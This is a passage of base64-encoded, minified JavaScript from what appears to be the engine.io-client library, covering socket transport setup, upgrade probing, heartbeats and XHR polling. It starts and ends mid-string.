J0fHw4NDMsdGhpcy5yZW1lbWJlclVwZ3JhZGU9bi5yZW1lbWJlclVwZ3JhZGV8fCExLHRoaXMuYmluYXJ5VHlwZT1udWxsLHRoaXMub25seUJpbmFyeVVwZ3JhZGVzPW4ub25seUJpbmFyeVVwZ3JhZGVzLHRoaXMucGVyTWVzc2FnZURlZmxhdGU9ITEhPT1uLnBlck1lc3NhZ2VEZWZsYXRlJiYobi5wZXJNZXNzYWdlRGVmbGF0ZXx8e30pLCEwPT09dGhpcy5wZXJNZXNzYWdlRGVmbGF0ZSYmKHRoaXMucGVyTWVzc2FnZURlZmxhdGU9e30pLHRoaXMucGVyTWVzc2FnZURlZmxhdGUmJm51bGw9PXRoaXMucGVyTWVzc2FnZURlZmxhdGUudGhyZXNob2xkJiYodGhpcy5wZXJNZXNzYWdlRGVmbGF0ZS50aHJlc2hvbGQ9MTAyNCksdGhpcy5wZng9bi5wZnh8fG51bGwsdGhpcy5rZXk9bi5rZXl8fG51bGwsdGhpcy5wYXNzcGhyYXNlPW4ucGFzc3BocmFzZXx8bnVsbCx0aGlzLmNlcnQ9bi5jZXJ0fHxudWxsLHRoaXMuY2E9bi5jYXx8bnVsbCx0aGlzLmNpcGhlcnM9bi5jaXBoZXJzfHxudWxsLHRoaXMucmVqZWN0VW5hdXRob3JpemVkPXZvaWQgMD09PW4ucmVqZWN0VW5hdXRob3JpemVkfHxuLnJlamVjdFVuYXV0aG9yaXplZCx0aGlzLmZvcmNlTm9kZT0hIW4uZm9yY2VOb2RlO3ZhciBvPSJvYmplY3QiPT10eXBlb2YgZSYmZTtvLmdsb2JhbD09PW8mJihuLmV4dHJhSGVhZGVycyYmT2JqZWN0LmtleXMobi5leHRyYUhlYWRlcnMpLmxlbmd0aD4wJiYodGhpcy5leHRyYUhlYWRlcnM9bi5leHRyYUhlYWRlcnMpLG4ubG9jYWxBZGRyZXNzJiYodGhpcy5sb2NhbEFkZHJlc3M9bi5sb2NhbEFkZHJlc3MpKSx0aGlzLmlkPW51bGwsdGhpcy51cGdyYWRlcz1udWxsLHRoaXMucGluZ0ludGVydmFsPW51bGwsdGhpcy5waW5nVGltZW91dD1udWxsLHRoaXMucGluZ0ludGVydmFsVGltZXI9bnVsbCx0aGlzLnBpbmdUaW1lb3V0VGltZXI9bnVsbCx0aGlzLm9wZW4oKX1mdW5jdGlvbiBvKHQpe3ZhciBlPXt9O2Zvcih2YXIgbiBpbiB0KXQuaGFzT3duUHJvcGVydHkobikmJihlW25dPXRbbl0pO3JldHVybiBlfXZhciBpPW4oMTYpLHM9big4KSxhPW4oMykoImVuZ2luZS5pby1jbGllbnQ6c29ja2V0IiksYz1uKDM2KSxwPW4oMjIpLHU9bigyKSxoPW4oMzApO3QuZXhwb3J0cz1yLHIucHJpb3JXZWJzb2NrZXRTdWNjZXNzPSExLHMoci5wcm90b3R5cGUpLHIucHJvdG9jb2w9cC5wcm90b2NvbCxyLlNvY2tldD1yLHIuVHJhbnNwb3J0PW4oMjEpLHIudHJhbnNwb3J0cz1uKDE2KSxyLnBhcnNlcj1uKDIyKSxyLnByb3RvdHlwZS5jcmVhdGVUcmFuc3BvcnQ9ZnVuY3Rpb24odCl7YSgnY3JlYXRpbmcgdHJhbnNwb3J0ICIlcyInLHQpO3ZhciBlPW8odGhpcy5xdWVyeSk7ZS5FSU89cC5wcm90b2NvbCxlLnRyYW5zcG9ydD10O3ZhciBuPXRoaXMudHJhbnNwb3J0T3B0aW9uc1t0XXx8e307dGhpcy5pZCYmKGUuc2lkPXRoaXMuaWQpO3ZhciByPW5ldyBpW3RdKHtxdWVyeTplLHNvY2tldDp0aGlzLGFnZW50Om4uYWdlbnR8fHRoaXMuYWdlbnQsaG9zdG5hbWU6bi5ob3N0bmFtZXx8dGhpcy5ob3N0bmFtZSxwb3J0Om4ucG9ydHx8dGhpcy5wb3J0LHNlY3VyZTpuLnNlY3VyZXx8dGhpcy5zZWN1cmUscGF0aDpuLnBhdGh8fHRoaXMucGF0aCxmb3JjZUpTT05QOm4uZm9yY2VKU09OUHx8dGhpcy5mb3JjZUpTT05QLGpzb25wOm4uanNvbnB8fHRoaXMuanNvbnAsZm9yY2VCYXNlNjQ6bi5mb3JjZUJhc2U2NHx8dGhpcy5mb3JjZUJhc2U2NCxlbmFibGVzWERSOm4uZW5hYmxlc1hEUnx8dGhpcy5lbmFibGVzWERSLHRpbWVzdGFtcFJlcXVlc3RzOm4udGltZXN0YW1wUmVxdWVzdHN8fHRoaXMudGltZXN0YW1wUmVxdWVzdHMsdGltZXN0YW1wUGFyYW06bi50aW1lc3RhbXBQYXJhbXx8dGhpcy50aW1lc3RhbXBQYXJhbSxwb2xpY3lQb3J0Om4ucG9saWN5UG9ydHx8dGhpcy5wb2xpY3lQb3J0LHBmeDpuLnBmeHx8dGhpcy5wZngsa2V5Om4ua2V5fHx0aGlzLmtleSxwYXNzcGhyYXNlOm4ucGFzc3BocmFzZXx8dGhpcy5wYXNzcGhyYXNlLGNlcnQ6bi5jZXJ0fHx0aGlzLmNlcnQsY2E6bi5jYXx8dGhpcy5jYSxjaXBoZXJzOm4uY2lwaGVyc3x8dGhpcy5jaXBoZXJzLHJlamVjdFVuYXV0aG9yaXplZDpuLnJlamVjdFVuYXV0aG9yaXplZHx8dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQscGVyTWVzc2FnZURlZmxhdGU6bi5wZXJNZXNzYWdlRGVmbGF0ZXx8dGhpcy5wZXJNZXNzYWdlRGVmbGF0ZSxleHRyYUhlYWRlcnM6bi5leHRyYUhlYWRlcnN8fHRoaXMuZXh0cmFIZWFkZXJzLGZvcmNlTm9kZTpuLmZvcmNlTm9kZXx8dGhpcy5mb3JjZU5vZGUsbG9jYWxBZGRyZXNzOm4ubG9jYWxBZGRyZXNzfHx0aGlzLmxvY2FsQWRkcmVzcyxyZXF1ZXN0VGltZW91dDpuLnJlcXVlc3RUaW1lb3V0fHx0aGlzLnJlcXVlc3RUaW1lb3V0LHByb3RvY29sczpuLnByb3RvY29sc3x8dm9pZCAwfSk7cmV0dXJuIHJ9LHIucHJvdG90eXBlLm9wZW49ZnVuY3Rpb24oKXt2YXIgdDtpZih0aGlzLnJlbWVtYmVyVXBncmFkZSYmci5wcmlvcldlYnNvY2tldFN1Y2Nlc3MmJnRoaXMudHJhbnNwb3J0cy5pbmRleE9mKCJ3ZWJzb2NrZXQiKSE9PS0xKXQ9IndlYnNvY2tldCI7ZWxzZXtpZigwPT09dGhpcy50cmFuc3BvcnRzLmxlbmd0aCl7dmFyIGU9dGhpcztyZXR1cm4gdm9pZCBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZS5lbWl0KCJlcnJvciIsIk5vIHRyYW5zcG9ydHMgYXZhaWxhYmxlIil9LDApfXQ9dGhpcy50cmFuc3BvcnRzWzBdfXRoaXMucmVhZHlTdGF0ZT0ib3BlbmluZyI7dHJ5e3Q9dGhpcy5jcmVhdGVUcmFuc3BvcnQodCl9Y2F0Y2gobil7cmV0dXJuIHRoaXMudHJhbnNwb3J0cy5zaGlmdCgpLHZvaWQgdGhpcy5vcGVuKCl9dC5vcGVuKCksdGhpcy5zZXRUcmFuc3BvcnQodCl9LHIucHJvdG90eXBlLnNldFRyYW5zcG9ydD1mdW5jdGlvbih0KXthKCJzZXR0aW5nIHRyYW5zcG9ydCAlcyIsdC5uYW1lKTt2YXIgZT10aGlzO3RoaXMudHJhbnNwb3J0JiYoYSgiY2xlYXJpbmcgZXhpc3RpbmcgdHJhbnNwb3J0ICVzIix0aGlzLnRyYW5zcG9ydC5uYW1lKSx0aGlzLnRyYW5zcG9ydC5yZW1vdmVBbGxMaXN0ZW5lcnMoKSksdGhpcy50cmFuc3BvcnQ9dCx0Lm9uKCJkcmFpbiIsZnVuY3Rpb24oKXtlLm9uRHJhaW4oKX0pLm9uKCJwYWNrZXQiLGZ1bmN0aW9uKHQpe2Uub25QYWNrZXQodCl9KS5vbigiZXJyb3IiLGZ1bmN0aW9uKHQpe2Uub25FcnJvcih0KX0pLm9uKCJjbG9zZSIsZnVuY3Rpb24oKXtlLm9uQ2xvc2UoInRyYW5zcG9ydCBjbG9zZSIpfSl9LHIucHJvdG90eXBlLnByb2JlPWZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUoKXtpZihmLm9ubHlCaW5hcnlVcGdyYWRlcyl7dmFyIGU9IXRoaXMuc3VwcG9ydHNCaW5hcnkmJmYudHJhbnNwb3J0LnN1cHBvcnRzQmluYXJ5O2g9aHx8ZX1ofHwoYSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgb3BlbmVkJyx0KSx1LnNlbmQoW3t0eXBlOiJwaW5nIixkYXRhOiJwcm9iZSJ9XSksdS5vbmNlKCJwYWNrZXQiLGZ1bmN0aW9uKGUpe2lmKCFoKWlmKCJwb25nIj09PWUudHlwZSYmInByb2JlIj09PWUuZGF0YSl7aWYoYSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgcG9uZycsdCksZi51cGdyYWRpbmc9ITAsZi5lbWl0KCJ1cGdyYWRpbmciLHUpLCF1KXJldHVybjtyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0id2Vic29ja2V0Ij09PXUubmFtZSxhKCdwYXVzaW5nIGN1cnJlbnQgdHJhbnNwb3J0ICIlcyInLGYudHJhbnNwb3J0Lm5hbWUpLGYudHJhbnNwb3J0LnBhdXNlKGZ1bmN0aW9uKCl7aHx8ImNsb3NlZCIhPT1mLnJlYWR5U3RhdGUmJihhKCJjaGFuZ2luZyB0cmFuc3BvcnQgYW5kIHNlbmRpbmcgdXBncmFkZSBwYWNrZXQiKSxwKCksZi5zZXRUcmFuc3BvcnQodSksdS5zZW5kKFt7dHlwZToidXBncmFkZSJ9XSksZi5lbWl0KCJ1cGdyYWRlIix1KSx1PW51bGwsZi51cGdyYWRpbmc9ITEsZi5mbHVzaCgpKX0pfWVsc2V7YSgncHJvYmUgdHJhbnNwb3J0ICIlcyIgZmFpbGVkJyx0KTt2YXIgbj1uZXcgRXJyb3IoInByb2JlIGVycm9yIik7bi50cmFuc3BvcnQ9dS5uYW1lLGYuZW1pdCgidXBncmFkZUVycm9yIixuKX19KSl9ZnVuY3Rpb24gbigpe2h8fChoPSEwLHAoKSx1LmNsb3NlKCksdT1udWxsKX1mdW5jdGlvbiBvKGUpe3ZhciByPW5ldyBFcnJvcigicHJvYmUgZXJyb3I6ICIrZSk7ci50cmFuc3BvcnQ9dS5uYW1lLG4oKSxhKCdwcm9iZSB0cmFuc3BvcnQgIiVzIiBmYWlsZWQgYmVjYXVzZSBvZiBlcnJvcjogJXMnLHQsZSksZi5lbWl0KCJ1cGdyYWRlRXJyb3IiLHIpfWZ1bmN0aW9uIGkoKXtvKCJ0cmFuc3BvcnQgY2xvc2VkIil9ZnVuY3Rpb24gcygpe28oInNvY2tldCBjbG9zZWQiKX1mdW5jdGlvbiBjKHQpe3UmJnQubmFtZSE9PXUubmFtZSYmKGEoJyIlcyIgd29ya3MgLSBhYm9ydGluZyAiJXMiJyx0Lm5hbWUsdS5uYW1lKSxuKCkpfWZ1bmN0aW9uIHAoKXt1LnJlbW92ZUxpc3RlbmVyKCJvcGVuIixlKSx1LnJlbW92ZUxpc3RlbmVyKCJlcnJvciIsbyksdS5yZW1vdmVMaXN0ZW5lcigiY2xvc2UiLGkpLGYucmVtb3ZlTGlzdGVuZXIoImNsb3NlIixzKSxmLnJlbW92ZUxpc3RlbmVyKCJ1cGdyYWRpbmciLGMpfWEoJ3Byb2JpbmcgdHJhbnNwb3J0ICIlcyInLHQpO3ZhciB1PXRoaXMuY3JlYXRlVHJhbnNwb3J0KHQse3Byb2JlOjF9KSxoPSExLGY9dGhpcztyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0hMSx1Lm9uY2UoIm9wZW4iLGUpLHUub25jZSgiZXJyb3IiLG8pLHUub25jZSgiY2xvc2UiLGkpLHRoaXMub25jZSgiY2xvc2UiLHMpLHRoaXMub25jZSgidXBncmFkaW5nIixjKSx1Lm9wZW4oKX0sci5wcm90b3R5cGUub25PcGVuPWZ1bmN0aW9uKCl7aWYoYSgic29ja2V0IG9wZW4iKSx0aGlzLnJlYWR5U3RhdGU9Im9wZW4iLHIucHJpb3JXZWJzb2NrZXRTdWNjZXNzPSJ3ZWJzb2NrZXQiPT09dGhpcy50cmFuc3BvcnQubmFtZSx0aGlzLmVtaXQoIm9wZW4iKSx0aGlzLmZsdXNoKCksIm9wZW4iPT09dGhpcy5yZWFkeVN0YXRlJiZ0aGlzLnVwZ3JhZGUmJnRoaXMudHJhbnNwb3J0LnBhdXNlKXthKCJzdGFydGluZyB1cGdyYWRlIHByb2JlcyIpO2Zvcih2YXIgdD0wLGU9dGhpcy51cGdyYWRlcy5sZW5ndGg7dDxlO3QrKyl0aGlzLnByb2JlKHRoaXMudXBncmFkZXNbdF0pfX0sci5wcm90b3R5cGUub25QYWNrZXQ9ZnVuY3Rpb24odCl7aWYoIm9wZW5pbmciPT09dGhpcy5yZWFkeVN0YXRlfHwib3BlbiI9PT10aGlzLnJlYWR5U3RhdGV8fCJjbG9zaW5nIj09PXRoaXMucmVhZHlTdGF0ZSlzd2l0Y2goYSgnc29ja2V0IHJlY2VpdmU6IHR5cGUgIiVzIiwgZGF0YSAiJXMiJyx0LnR5cGUsdC5kYXRhKSx0aGlzLmVtaXQoInBhY2tldCIsdCksdGhpcy5lbWl0KCJoZWFydGJlYXQiKSx0LnR5cGUpe2Nhc2Uib3BlbiI6dGhpcy5vbkhhbmRzaGFrZShKU09OLnBhcnNlKHQuZGF0YSkpO2JyZWFrO2Nhc2UicG9uZyI6dGhpcy5zZXRQaW5nKCksdGhpcy5lbWl0KCJwb25nIik7YnJlYWs7Y2FzZSJlcnJvciI6dmFyIGU9bmV3IEVycm9yKCJzZXJ2ZXIgZXJyb3IiKTtlLmNvZGU9dC5kYXRhLHRoaXMub25FcnJvcihlKTticmVhaztjYXNlIm1lc3NhZ2UiOnRoaXMuZW1pdCgiZGF0YSIsdC5kYXRhKSx0aGlzLmVtaXQoIm1lc3NhZ2UiLHQuZGF0YSl9ZWxzZSBhKCdwYWNrZXQgcmVjZWl2ZWQgd2l0aCBzb2NrZXQgcmVhZHlTdGF0ZSAiJXMiJyx0aGlzLnJlYWR5U3RhdGUpfSxyLnByb3RvdHlwZS5vbkhhbmRzaGFrZT1mdW5jdGlvbih0KXt0aGlzLmVtaXQoImhhbmRzaGFrZSIsdCksdGhpcy5pZD10LnNpZCx0aGlzLnRyYW5zcG9ydC5xdWVyeS5zaWQ9dC5zaWQsdGhpcy51cGdyYWRlcz10aGlzLmZpbHRlclVwZ3JhZGVzKHQudXBncmFkZXMpLHRoaXMucGluZ0ludGVydmFsPXQucGluZ0ludGVydmFsLHRoaXMucGluZ1RpbWVvdXQ9dC5waW5nVGltZW91dCx0aGlzLm9uT3BlbigpLCJjbG9zZWQiIT09dGhpcy5yZWFkeVN0YXRlJiYodGhpcy5zZXRQaW5nKCksdGhpcy5yZW1vdmVMaXN0ZW5lcigiaGVhcnRiZWF0Iix0aGlzLm9uSGVhcnRiZWF0KSx0aGlzLm9uKCJoZWFydGJlYXQiLHRoaXMub25IZWFydGJlYXQpKX0sci5wcm90b3R5cGUub25IZWFydGJlYXQ9ZnVuY3Rpb24odCl7Y2xlYXJUaW1lb3V0KHRoaXMucGluZ1RpbWVvdXRUaW1lcik7dmFyIGU9dGhpcztlLnBpbmdUaW1lb3V0VGltZXI9c2V0VGltZW91dChmdW5jdGlvbigpeyJjbG9zZWQiIT09ZS5yZWFkeVN0YXRlJiZlLm9uQ2xvc2UoInBpbmcgdGltZW91dCIpfSx0fHxlLnBpbmdJbnRlcnZhbCtlLnBpbmdUaW1lb3V0KX0sci5wcm90b3R5cGUuc2V0UGluZz1mdW5jdGlvbigpe3ZhciB0PXRoaXM7Y2xlYXJUaW1lb3V0KHQucGluZ0ludGVydmFsVGltZXIpLHQucGluZ0ludGVydmFsVGltZXI9c2V0VGltZW91dChmdW5jdGlvbigpe2EoIndyaXRpbmcgcGluZyBwYWNrZXQgLSBleHBlY3RpbmcgcG9uZyB3aXRoaW4gJXNtcyIsdC5waW5nVGltZW91dCksdC5waW5nKCksdC5vbkhlYXJ0YmVhdCh0LnBpbmdUaW1lb3V0KX0sdC5waW5nSW50ZXJ2YWwpfSxyLnByb3RvdHlwZS5waW5nPWZ1bmN0aW9uKCl7dmFyIHQ9dGhpczt0aGlzLnNlbmRQYWNrZXQoInBpbmciLGZ1bmN0aW9uKCl7dC5lbWl0KCJwaW5nIil9KX0sci5wcm90b3R5cGUub25EcmFpbj1mdW5jdGlvbigpe3RoaXMud3JpdGVCdWZmZXIuc3BsaWNlKDAsdGhpcy5wcmV2QnVmZmVyTGVuKSx0aGlzLnByZXZCdWZmZXJMZW49MCwwPT09dGhpcy53cml0ZUJ1ZmZlci5sZW5ndGg/dGhpcy5lbWl0KCJkcmFpbiIpOnRoaXMuZmx1c2goKX0sci5wcm90b3R5cGUuZmx1c2g9ZnVuY3Rpb24oKXsiY2xvc2VkIiE9PXRoaXMucmVhZHlTdGF0ZSYmdGhpcy50cmFuc3BvcnQud3JpdGFibGUmJiF0aGlzLnVwZ3JhZGluZyYmdGhpcy53cml0ZUJ1ZmZlci5sZW5ndGgmJihhKCJmbHVzaGluZyAlZCBwYWNrZXRzIGluIHNvY2tldCIsdGhpcy53cml0ZUJ1ZmZlci5sZW5ndGgpLHRoaXMudHJhbnNwb3J0LnNlbmQodGhpcy53cml0ZUJ1ZmZlciksdGhpcy5wcmV2QnVmZmVyTGVuPXRoaXMud3JpdGVCdWZmZXIubGVuZ3RoLHRoaXMuZW1pdCgiZmx1c2giKSl9LHIucHJvdG90eXBlLndyaXRlPXIucHJvdG90eXBlLnNlbmQ9ZnVuY3Rpb24odCxlLG4pe3JldHVybiB0aGlzLnNlbmRQYWNrZXQoIm1lc3NhZ2UiLHQsZSxuKSx0aGlzfSxyLnByb3RvdHlwZS5zZW5kUGFja2V0PWZ1bmN0aW9uKHQsZSxuLHIpe2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBlJiYocj1lLGU9dm9pZCAwKSwiZnVuY3Rpb24iPT10eXBlb2YgbiYmKHI9bixuPW51bGwpLCJjbG9zaW5nIiE9PXRoaXMucmVhZHlTdGF0ZSYmImNsb3NlZCIhPT10aGlzLnJlYWR5U3RhdGUpe249bnx8e30sbi5jb21wcmVzcz0hMSE9PW4uY29tcHJlc3M7dmFyIG89e3R5cGU6dCxkYXRhOmUsb3B0aW9uczpufTt0aGlzLmVtaXQoInBhY2tldENyZWF0ZSIsbyksdGhpcy53cml0ZUJ1ZmZlci5wdXNoKG8pLHImJnRoaXMub25jZSgiZmx1c2giLHIpLHRoaXMuZmx1c2goKX19LHIucHJvdG90eXBlLmNsb3NlPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCgpe3Iub25DbG9zZSgiZm9yY2VkIGNsb3NlIiksYSgic29ja2V0IGNsb3NpbmcgLSB0ZWxsaW5nIHRyYW5zcG9ydCB0byBjbG9zZSIpLHIudHJhbnNwb3J0LmNsb3NlKCl9ZnVuY3Rpb24gZSgpe3IucmVtb3ZlTGlzdGVuZXIoInVwZ3JhZGUiLGUpLHIucmVtb3ZlTGlzdGVuZXIoInVwZ3JhZGVFcnJvciIsZSksdCgpfWZ1bmN0aW9uIG4oKXtyLm9uY2UoInVwZ3JhZGUiLGUpLHIub25jZSgidXBncmFkZUVycm9yIixlKX1pZigib3BlbmluZyI9PT10aGlzLnJlYWR5U3RhdGV8fCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZSl7dGhpcy5yZWFkeVN0YXRlPSJjbG9zaW5nIjt2YXIgcj10aGlzO3RoaXMud3JpdGVCdWZmZXIubGVuZ3RoP3RoaXMub25jZSgiZHJhaW4iLGZ1bmN0aW9uKCl7dGhpcy51cGdyYWRpbmc/bigpOnQoKX0pOnRoaXMudXBncmFkaW5nP24oKTp0KCl9cmV0dXJuIHRoaXN9LHIucHJvdG90eXBlLm9uRXJyb3I9ZnVuY3Rpb24odCl7YSgic29ja2V0IGVycm9yICVqIix0KSxyLnByaW9yV2Vic29ja2V0U3VjY2Vzcz0hMSx0aGlzLmVtaXQoImVycm9yIix0KSx0aGlzLm9uQ2xvc2UoInRyYW5zcG9ydCBlcnJvciIsdCl9LHIucHJvdG90eXBlLm9uQ2xvc2U9ZnVuY3Rpb24odCxlKXtpZigib3BlbmluZyI9PT10aGlzLnJlYWR5U3RhdGV8fCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZXx8ImNsb3NpbmciPT09dGhpcy5yZWFkeVN0YXRlKXthKCdzb2NrZXQgY2xvc2Ugd2l0aCByZWFzb246ICIlcyInLHQpO3ZhciBuPXRoaXM7Y2xlYXJUaW1lb3V0KHRoaXMucGluZ0ludGVydmFsVGltZXIpLGNsZWFyVGltZW91dCh0aGlzLnBpbmdUaW1lb3V0VGltZXIpLHRoaXMudHJhbnNwb3J0LnJlbW92ZUFsbExpc3RlbmVycygiY2xvc2UiKSx0aGlzLnRyYW5zcG9ydC5jbG9zZSgpLHRoaXMudHJhbnNwb3J0LnJlbW92ZUFsbExpc3RlbmVycygpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLmlkPW51bGwsdGhpcy5lbWl0KCJjbG9zZSIsdCxlKSxuLndyaXRlQnVmZmVyPVtdLG4ucHJldkJ1ZmZlckxlbj0wfX0sci5wcm90b3R5cGUuZmlsdGVyVXBncmFkZXM9ZnVuY3Rpb24odCl7Zm9yKHZhciBlPVtdLG49MCxyPXQubGVuZ3RoO248cjtuKyspfmModGhpcy50cmFuc3BvcnRzLHRbbl0pJiZlLnB1c2godFtuXSk7cmV0dXJuIGV9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIHIoZSl7dmFyIG4scj0hMSxhPSExLGM9ITEhPT1lLmpzb25wO2lmKHQubG9jYXRpb24pe3ZhciBwPSJodHRwczoiPT09bG9jYXRpb24ucHJvdG9jb2wsdT1sb2NhdGlvbi5wb3J0O3V8fCh1PXA/NDQzOjgwKSxyPWUuaG9zdG5hbWUhPT1sb2NhdGlvbi5ob3N0bmFtZXx8dSE9PWUucG9ydCxhPWUuc2VjdXJlIT09cH1pZihlLnhkb21haW49cixlLnhzY2hlbWU9YSxuPW5ldyBvKGUpLCJvcGVuImluIG4mJiFlLmZvcmNlSlNPTlApcmV0dXJuIG5ldyBpKGUpO2lmKCFjKXRocm93IG5ldyBFcnJvcigiSlNPTlAgZGlzYWJsZWQiKTtyZXR1cm4gbmV3IHMoZSl9dmFyIG89bigxNyksaT1uKDE5KSxzPW4oMzMpLGE9bigzNCk7ZS5wb2xsaW5nPXIsZS53ZWJzb2NrZXQ9YX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihlKXt2YXIgcj1uKDE4KTt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7dmFyIG49dC54ZG9tYWluLG89dC54c2NoZW1lLGk9dC5lbmFibGVzWERSO3RyeXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIFhNTEh0dHBSZXF1ZXN0JiYoIW58fHIpKXJldHVybiBuZXcgWE1MSHR0cFJlcXVlc3R9Y2F0Y2gocyl7fXRyeXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIFhEb21haW5SZXF1ZXN0JiYhbyYmaSlyZXR1cm4gbmV3IFhEb21haW5SZXF1ZXN0fWNhdGNoKHMpe31pZighbil0cnl7cmV0dXJuIG5ldyhlW1siQWN0aXZlIl0uY29uY2F0KCJPYmplY3QiKS5qb2luKCJYIildKSgiTWljcm9zb2Z0LlhNTEhUVFAiKTsNCn1jYXRjaChzKXt9fX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlKXt0cnl7dC5leHBvcnRzPSJ1bmRlZmluZWQiIT10eXBlb2YgWE1MSHR0cFJlcXVlc3QmJiJ3aXRoQ3JlZGVudGlhbHMiaW4gbmV3IFhNTEh0dHBSZXF1ZXN0fWNhdGNoKG4pe3QuZXhwb3J0cz0hMX19LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7ZnVuY3Rpb24gcigpe31mdW5jdGlvbiBvKHQpe2lmKGMuY2FsbCh0aGlzLHQpLHRoaXMucmVxdWVzdFRpbWVvdXQ9dC5yZXF1ZXN0VGltZW91dCx0aGlzLmV4dHJhSGVhZGVycz10LmV4dHJhSGVhZGVycyxlLmxvY2F0aW9uKXt2YXIgbj0iaHR0cHM6Ij09PWxvY2F0aW9uLnByb3RvY29sLHI9bG9jYXRpb24ucG9ydDtyfHwocj1uPzQ0Mzo4MCksdGhpcy54ZD10Lmhvc3RuYW1lIT09ZS5sb2NhdGlvbi5ob3N0bmFtZXx8ciE9PXQucG9ydCx0aGlzLnhzPXQuc2VjdXJlIT09bn19ZnVuY3Rpb24gaSh0KXt0aGlzLm1ldGhvZD10Lm1ldGhvZHx8IkdFVCIsdGhpcy51cmk9dC51cmksdGhpcy54ZD0hIXQueGQsdGhpcy54cz0hIXQueHMsdGhpcy5hc3luYz0hMSE9PXQuYXN5bmMsdGhpcy5kYXRhPXZvaWQgMCE9PXQuZGF0YT90LmRhdGE6bnVsbCx0aGlzLmFnZW50PXQuYWdlbnQsdGhpcy5pc0JpbmFyeT10LmlzQmluYXJ5LHRoaXMuc3VwcG9ydHNCaW5hcnk9dC5zdXBwb3J0c0JpbmFyeSx0aGlzLmVuYWJsZXNYRFI9dC5lbmFibGVzWERSLHRoaXMucmVxdWVzdFRpbWVvdXQ9dC5yZXF1ZXN0VGltZW91dCx0aGlzLnBmeD10LnBmeCx0aGlzLmtleT10LmtleSx0aGlzLnBhc3NwaHJhc2U9dC5wYXNzcGhyYXNlLHRoaXMuY2VydD10LmNlcnQsdGhpcy5jYT10LmNhLHRoaXMuY2lwaGVycz10LmNpcGhlcnMsdGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ9dC5yZWplY3RVbmF1dGhvcml6ZWQsdGhpcy5leHRyYUhlYWRlcnM9dC5leHRyYUhlYWRlcnMsdGhpcy5jcmVhdGUoKX1mdW5jdGlvbiBzKCl7Zm9yKHZhciB0IGluIGkucmVxdWVzdHMpaS5yZXF1ZXN0cy5oYXNPd25Qcm9wZXJ0eSh0KSYmaS5yZXF1ZXN0c1t0XS5hYm9ydCgpfXZhciBhPW4oMTcpLGM9bigyMCkscD1uKDgpLHU9bigzMSksaD1uKDMpKCJlbmdpbmUuaW8tY2xpZW50OnBvbGxpbmcteGhyIik7dC5leHBvcnRzPW8sdC5leHBvcnRzLlJlcXVlc3Q9aSx1KG8sYyksby5wcm90b3R5cGUuc3VwcG9ydHNCaW5hcnk9ITAsby5wcm90b3R5cGUucmVxdWVzdD1mdW5jdGlvbih0KXtyZXR1cm4gdD10fHx7fSx0LnVyaT10aGlzLnVyaSgpLHQueGQ9dGhpcy54ZCx0LnhzPXRoaXMueHMsdC5hZ2VudD10aGlzLmFnZW50fHwhMSx0LnN1cHBvcnRzQmluYXJ5PXRoaXMuc3VwcG9ydHNCaW5hcnksdC5lbmFibGVzWERSPXRoaXMuZW5hYmxlc1hEUix0LnBmeD10aGlzLnBmeCx0LmtleT10aGlzLmtleSx0LnBhc3NwaHJhc2U9dGhpcy5wYXNzcGhyYXNlLHQuY2VydD10aGlzLmNlcnQsdC5jYT10aGlzLmNhLHQuY2lwaGVycz10aGlzLmNpcGhlcnMsdC5yZWplY3RVbmF1dGhvcml6ZWQ9dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQsdC5yZXF1ZXN0VGltZW91dD10aGlzLnJlcXVlc3RUaW1lb3V0LHQuZXh0cmFIZWFkZXJzPXRoaXMuZXh0cmFIZWFkZXJzLG5ldyBpKHQpfSxvLnByb3RvdHlwZS5kb1dyaXRlPWZ1bmN0aW9uKHQsZSl7dmFyIG49InN0cmluZyIhPXR5cGVvZiB0JiZ2b2lkIDAhPT10LHI9dGhpcy5yZXF1ZXN0KHttZXRob2Q6IlBPU1QiLGRhdGE6dCxpc0JpbmFyeTpufSksbz10aGlzO3Iub24oInN1Y2Nlc3MiLGUpLHIub24oImVycm9yIixmdW5jdGlvbih0KXtvLm9uRXJyb3IoInhociBwb3N0IGVycm9yIix0KX0pLHRoaXMuc2VuZFhocj1yfSxvLnByb3RvdHlwZS5kb1BvbGw9ZnVuY3Rpb24oKXtoKCJ4aHIgcG9sbCIpO3ZhciB0PXRoaXMucmVxdWVzdCgpLGU9dGhpczt0Lm9uKCJkYXRhIixmdW5jdGlvbih0KXtlLm9uRGF0YSh0KX0pLHQub24oImVycm9yIixmdW5jdGlvbih0KXtlLm9uRXJyb3IoInhociBwb2xsIGVycm9yIix0KX0pLHRoaXMucG9sbFhocj10fSxwKGkucHJvdG90eXBlKSxpLnByb3RvdHlwZS5jcmVhdGU9ZnVuY3Rpb24oKXt2YXIgdD17YWdlbnQ6dGhpcy5hZ2VudCx4ZG9tYWluOnRoaXMueGQseHNjaGVtZTp0aGlzLnhzLGVuYWJsZXNYRFI6dGhpcy5lbmFibGVzWERSfTt0LnBmeD10aGlzLnBmeCx0LmtleT10aGlzLmtleSx0LnBhc3NwaHJhc2U9dGhpcy5wYXNzcGhyYXNlLHQuY2VydD10aGlzLmNlcnQsdC5jYT10aGlzLmNhLHQuY2lwaGVycz10aGlzLmNpcGhlcnMsdC5yZWplY3RVbmF1